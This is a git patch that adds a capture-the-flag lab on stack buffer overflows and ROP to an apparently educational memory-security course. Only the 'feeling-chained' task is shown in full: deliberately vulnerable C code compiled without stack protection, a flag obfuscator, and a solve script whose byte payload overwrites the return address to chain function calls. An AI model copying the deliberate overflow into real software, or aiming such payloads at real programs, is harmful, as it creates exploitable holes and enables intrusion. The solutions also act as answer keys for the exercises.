From 3b5728280234690f3727f99b63736babcc324a0f Mon Sep 17 00:00:00 2001 From: Dimitrie Valu Date: Thu, 29 Aug 2024 05:30:38 +0300 Subject: [PATCH] chapters/memory-security/ctf: Add CTF lab This commit adds the adapted material, including references and sentence rephrasing for enhanced readability, as well as solution writeups. Signed-off-by: Dimitrie Valu --- .../drills/tasks/feeling-chained/README.md | 7 ++ .../tasks/feeling-chained/solution/Makefile | 23 +++++ .../tasks/feeling-chained/solution/README.md | 9 ++ .../feeling-chained/solution/buff-ovf3.c | 85 +++++++++++++++++ .../feeling-chained/solution/deobfuscator.c | 65 +++++++++++++ .../feeling-chained/solution/obfuscator.c | 46 +++++++++ .../tasks/feeling-chained/solution/solve.sh | 6 ++ .../tasks/feeling-chained/support/buff-ovf3 | Bin 0 -> 19776 bytes .../tasks/hidden-in-plain-sight-1/README.md | 7 ++ .../hidden-in-plain-sight-1/solution/Makefile | 25 +++++ .../solution/README.md | 11 +++ .../solution/deobfuscator.c | 65 +++++++++++++ .../hidden-in-plain-sight-1/solution/link.c | 36 +++++++ .../hidden-in-plain-sight-1/solution/main.c | 9 ++ .../solution/obfuscator.c | 46 +++++++++ .../hidden-in-plain-sight-1/support/link | Bin 0 -> 4832 bytes .../tasks/hidden-in-plain-sight-2/README.md | 7 ++ .../hidden-in-plain-sight-2/solution/Makefile | 25 +++++ .../solution/README.md | 30 ++++++ .../solution/deobfuscator.c | 65 +++++++++++++ .../hidden-in-plain-sight-2/solution/link.c | 43 +++++++++ .../hidden-in-plain-sight-2/solution/main.c | 9 ++ .../solution/obfuscator.c | 46 +++++++++ .../hidden-in-plain-sight-2/support/link2 | Bin 0 -> 5124 bytes .../drills/tasks/indirect-business/README.md | 8 ++ .../tasks/indirect-business/solution/Makefile | 23 +++++ .../indirect-business/solution/README.md | 8 ++ .../indirect-business/solution/buff-ovf.c | 61 ++++++++++++ .../indirect-business/solution/deobfuscator.c | 65 +++++++++++++ .../indirect-business/solution/obfuscator.c | 46 +++++++++ .../tasks/indirect-business/solution/solve.sh | 3 + .../tasks/indirect-business/support/buff-ovf | Bin 0 -> 19560 bytes .../ctf/drills/tasks/look-at-him-go/README.md | 7 ++ .../tasks/look-at-him-go/solution/Makefile | 23 +++++ .../tasks/look-at-him-go/solution/README.md | 19 ++++ .../look-at-him-go/solution/deobfuscator.c | 65 +++++++++++++ .../tasks/look-at-him-go/solution/dynamic.c | 89 ++++++++++++++++++ .../look-at-him-go/solution/obfuscator.c | 46 +++++++++ .../tasks/look-at-him-go/support/dynamic | Bin 0 -> 19664 bytes .../ctf/drills/tasks/playing-god/README.md | 6 ++ .../tasks/playing-god/solution/Makefile | 23 +++++ .../tasks/playing-god/solution/README.md | 10 ++ .../tasks/playing-god/solution/deobfuscator.c | 65 +++++++++++++ .../tasks/playing-god/solution/obfuscator.c | 46 +++++++++ .../drills/tasks/playing-god/solution/vuln.c | 55 +++++++++++ .../drills/tasks/playing-god/support/dynamic2 | Bin 0 -> 19264 bytes .../drills/tasks/rip-my-buffers-off/README.md | 6 ++ .../rip-my-buffers-off/solution/Makefile | 23 +++++ .../rip-my-buffers-off/solution/README.md | 8 ++ .../rip-my-buffers-off/solution/buff-ovf2.c | 61 ++++++++++++ .../solution/deobfuscator.c | 65 +++++++++++++ .../rip-my-buffers-off/solution/obfuscator.c | 46 +++++++++ .../rip-my-buffers-off/solution/solve.sh | 3 + .../rip-my-buffers-off/support/buff-ovf2 | Bin 0 -> 19748 bytes .../ctf/drills/tasks/rop/README.md | 11 +++ .../ctf/drills/tasks/rop/solution/Makefile | 23 +++++ .../ctf/drills/tasks/rop/solution/README.md | 18 ++++ .../drills/tasks/rop/solution/deobfuscator.c | 65 +++++++++++++ .../drills/tasks/rop/solution/obfuscator.c | 46 +++++++++ .../ctf/drills/tasks/rop/solution/rop.c | 64 +++++++++++++ .../ctf/drills/tasks/rop/solution/solve.sh | 3 + .../ctf/drills/tasks/rop/support/rop | Bin 0 -> 21520 bytes .../memory-security/ctf/media/rop-anatomy.svg | 4 + chapters/memory-security/ctf/reading/rop.md | 47 +++++++++ config.yaml | 14 +++ 65 files changed, 1840 insertions(+) create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c create mode 100755 chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh create mode 100755 chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c create mode 100755 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c create mode 100644 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c create mode 100755 chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2 create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c create mode 100755 chapters/memory-security/ctf/drills/tasks/indirect-business/solution/solve.sh create mode 100755 chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/dynamic.c create mode 100644 chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/obfuscator.c create mode 100755 chapters/memory-security/ctf/drills/tasks/look-at-him-go/support/dynamic create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/obfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/playing-god/solution/vuln.c create mode 100755 chapters/memory-security/ctf/drills/tasks/playing-god/support/dynamic2 create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/buff-ovf2.c create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/obfuscator.c create mode 100755 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/solution/solve.sh create mode 100755 chapters/memory-security/ctf/drills/tasks/rip-my-buffers-off/support/buff-ovf2 create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/Makefile create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/README.md create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/deobfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/obfuscator.c create mode 100644 chapters/memory-security/ctf/drills/tasks/rop/solution/rop.c create mode 100755 chapters/memory-security/ctf/drills/tasks/rop/solution/solve.sh create mode 100755 chapters/memory-security/ctf/drills/tasks/rop/support/rop create mode 100644 chapters/memory-security/ctf/media/rop-anatomy.svg create mode 100644 chapters/memory-security/ctf/reading/rop.md diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md new file mode 100644 index 00000000..276edea3 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md @@ -0,0 +1,7 @@ +# Feeling Chained + +Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`. +Identify the necessary ones and... you already know how to call them. + +If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack. +The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant. diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile new file mode 100644 index 00000000..a83f61ab --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile @@ -0,0 +1,23 @@ +CC = gcc +CFLAGS = -g -m32 -z execstack -fno-PIC -fno-stack-protector +LDFLAGS = -no-pie -m32 +SRC_DIR = . +TARGET = buff-ovf3 +OBJ = buff-ovf3.o + +all: $(TARGET) + +obfuscator: $(SRC_DIR)/obfuscator.c + $(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall + +deobfuscator: $(SRC_DIR)/deobfuscator.c + $(CC) -o $@ $< -m32 -fno-stack-protector -z execstack -no-pie -Wall + +$(TARGET): $(OBJ) + $(CC) $(LDFLAGS) $(OBJ) -o $(TARGET) + +$(OBJ): $(SRC_DIR)/buff-ovf3.c + $(CC) $(CFLAGS) -c $(SRC_DIR)/buff-ovf3.c + +clean: + rm -rf $(OBJ) $(TARGET) obfuscator deobfuscator diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md new file mode 100644 index 00000000..46a2386f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md @@ -0,0 +1,9 @@ +# Solution + +By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters. +`f3` is the one that actually calls `get_flag()`. +Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made). + +```sh +python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3 +``` diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c new file mode 100644 index 00000000..85b93105 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include + +#define MAXC 1000 + +static int my_global_var; +static int my_other_global_var; + +void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + if (my_other_global_var != 0x7890) { + printf("You're cheating, mate. Try harder\n"); + return; + } + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37" + "\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43" + "\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31" + "\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b" + "\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b" + "\x71"; + + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} + +void f3(int x) +{ + if (x == 13 && my_global_var == 0x1234) { + my_other_global_var = 0x7890; + get_flag(); + } else { + printf("You missed something\n"); + } +} + +void f2(void) +{ + printf("I dont do nothing\n"); +} + +void f1(int a, int b) +{ + if (a + b == 69) { + printf("You're doing great\n"); + my_global_var = 0x1234; + } else { + printf("You got the params wrong\n"); + } +} + +void gateway(void) +{ + char buff1[10]; + + fgets(buff1, 300, stdin); +} + +int main(void) +{ + gateway(); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c new file mode 100644 index 00000000..f4583006 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *s_obfuscated = obfuscate(s); + unsigned char *p = s_obfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(s_obfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh new file mode 100755 index 00000000..ff8d8efd --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/solve.sh @@ -0,0 +1,6 @@ +#!/bin/bash +# SPDX-License-Identifier: BSD-3-Clause + +python3 -c \ + 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' \ + ../support/buff-ovf3 diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 b/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 new file mode 100755 index 0000000000000000000000000000000000000000..5a2fba0f39cb916b1aa11ab585fd5ee3c7a84046 GIT binary patch literal 19776 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